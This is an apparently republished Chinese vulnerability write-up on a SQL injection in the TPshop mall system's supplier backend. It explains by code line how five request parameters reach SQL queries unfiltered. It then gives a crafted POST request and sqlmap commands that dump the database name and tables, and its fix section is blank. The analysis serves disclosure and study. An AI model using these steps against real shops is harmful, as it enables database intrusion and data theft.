某Shop供应商后台SQL Injection(一)

2019-11-07 约 123 字 预计阅读 1 分钟

声明:本文 【某Shop供应商后台SQL Injection(一)】 由作者 Onlywait 于 2019-11-07 09:20:58 首发 先知社区 曾经 浏览数 87 次

感谢 Onlywait 的辛苦付出!

0x01 前言

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

0x02 代码分析

跟踪到/Application/supplier/Controller/Goods.php中的ajaxGoodsList方法

  • 47 Line: 判断从外部获取的参数brand_id是否为真,若为真那么就将该参数的值拼接到where语句中。
  • 48 Line: 判断从外部获取的参数is_on_sale是否不全等于空,若是那么就将它拼接到where语句中
  • 51 Line: 利用三元运算符判断从外部获取的参数key_word是否为真,若为真那么清空该参数值两边的空格,若为假那么赋值为空(这里做的这个操作毫无意义)并赋值给$key_word
  • 52 Line: 判断$key_word是否为真
  • 53 Line: 将$key_word拼接到where语句中作为模糊查询(搜索功能)用
  • 72 Line: 获取post传入的值并赋值给$data
  • 73 Line: 将$data[‘orderby1’]、$data[‘orderby2’]拼接起来作为order语句使用并赋值给$order_str
  • 74 Line: 将where、order语句带入SQL语句中
  • brand_id、is_on_sale、key_word、post.orderby1、post.orderby2这些参数外部可控,且无过滤直接拼接到了SQL语句中,带入查询,导致SQL注入的产生

0x03 漏洞探测






五个参数均可触发漏洞

0x04 漏洞复现

POST /index.php/Supplier/goods/ajaxGoodsList/brand_id/1*/is_on_sale/1/key_word/1 HTTP/1.1
Host: 172.16.209.129:8084
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8084/index.php/Supplier/goods/ajaxGoodsList/brand_id/1/is_on_sale/1?http:%2f%2f172.16.209.129:8084%2findex.php%2fSupplier%2fgoods%2fajaxGoodsList%2fbrand_id%2f1%27%2fis_on_sale%2f1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Upgrade-Insecure-Requests: 1

orderby1=brand_id&orderby2=asc

将数据包保存为tpshop.txt

sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql"

sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" --current-db

sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x05 漏洞修复


关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now